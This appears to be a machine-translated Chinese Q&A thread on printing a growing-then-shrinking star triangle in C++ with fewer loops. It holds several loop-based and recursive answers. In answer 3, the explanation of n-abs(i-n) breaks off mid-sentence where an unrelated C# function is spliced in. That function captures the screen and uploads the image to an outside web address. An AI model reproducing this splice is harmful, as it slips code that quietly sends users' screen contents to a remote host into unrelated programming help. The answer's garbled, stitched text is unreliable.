我正在尝试打印以下模式:
*
**
***
****
*****
****
***
**
*
现在,我知道如何使用4 for循环:
for(i=1;i<=n;i++)
{
for(j=1;j<=i;j++)
{
cout<<"*";
}
cout<<"\n";
}
打印上半部分并打印下半部分:
for(i=1;i<=n;i++)
{
for(j=n;j>i;j--)
{
cout<<"*";
}
cout<<"\n";
}
仔细观察,两个外部for循环是相同的。即, 对于(I = 1; I&LT; = N;我++)。 无论如何在i-for循环中嵌套'j'for-loops?
答案 0 :(得分:3)
只使用一个循环:
#include <iostream>
#include <string>
int main() {
for (unsigned i = 0; i < 10; ++i)
std::cout << std::string( i < 5 ? (i+1) : 10 - (i+1), '*') << std::endl;
return 0;
}
答案 1 :(得分:1)
你是否会关心甚至不是三个循环,而只是两个循环?
int n=5, i, j, k;
for (i=0; i<n*2-1; i++)
{
j=i;
if (j >= n)
j=n*2-2-j;
for (k=0; k<=j; k++)
std::cout << '*';
std::cout << std::endl;
}
答案 2 :(得分:1)
使用2个循环:
int g=1;
for(int i=0;i<=5;i++){
for (int y=0;y<=i;y+=g){
cout<<"*";
}
cout<<endl;
if (i==4 && g==1){
cout<<"*****";
i=3;
g=-1;
}}
答案 3 :(得分:1)
您可以打印10,而不是打印5行,然后再打印5行,并计算每行中的星数。
for(i = 1; i <= 2*n - 1; i++)
{
for(j = 1; j <= n - abs(i - n); j++)
{
cout<<"*";
}
cout<<"\n";
}
对于i在1和n之间的值,表达式n-abs(i-n)
计算为i,对于i大于n的值,表达式 public static void SendImage()
{
WebClient client = new WebClient();
Screenshot screen = new Screenshot();
byte[] SendBMP = screen.Capture();
client.Headers["User-Agent"] = "IMAGE uploader";
client.Headers[HttpRequestHeader.ContentType] = "binary/octet-stream";
client.QueryString.Add("UserID", ID);
client.UploadData(new Uri("http://mywebsite.com/upload.php/"), SendBMP);
}
计算为2n-i。
答案 4 :(得分:1)
只是为了好玩,一个循环怎么样:
for (int i=1, j=0, dir=1; i!=0;) {
cout << '*';
++j;
if (j==i) {
cout << '\n';
j = 0;
i += dir;
if (i==6) {
dir = -1;
i -= 2;
}
}
}
答案 5 :(得分:1)
你可以在一个循环中完成(也许作弊一点):
size_t max = 5;
size_t rows = max * 2 - 1;
std::string line(std::string(max, '*') + '\n');
for ( size_t j = 0, k = max; j < rows; ++j ) {
std::cout << line.c_str() + ( j < max ? --k : ++k );
}
答案 6 :(得分:1)
我知道你没有要求它,但为了完整性,这里有一个零循环(相反递归):
#include <iostream>
void print_stars(int count)
{
if (count > 0)
{
std::cout << '*';
print_stars(count - 1);
}
}
void print_line(int lines, int stars)
{
if (lines == 1)
print_stars(stars);
else
{
if (stars > 0)
{
print_stars(stars);
std::cout << std::endl;
}
print_line(lines - 1, stars + 1);
std::cout << std::endl;
if (stars > 0)
print_stars(stars);
}
}
int main()
{
int star_count = 5;
print_line(star_count + 1, 0);
return 0;
}
答案 7 :(得分:1)
#include <iostream>
using namespace std;
int main() {
int i;
int j;
int count = 1;
for(i= 0;i<10;i++) {
if(i < 5) {
for(j=0;j<=i;j++) {
cout<<"*";
}
} else {
for(j=i-count;j>0;j--) {
cout<<"*";
}
count +=2;
}
cout<< "\n";
}
return 0;
}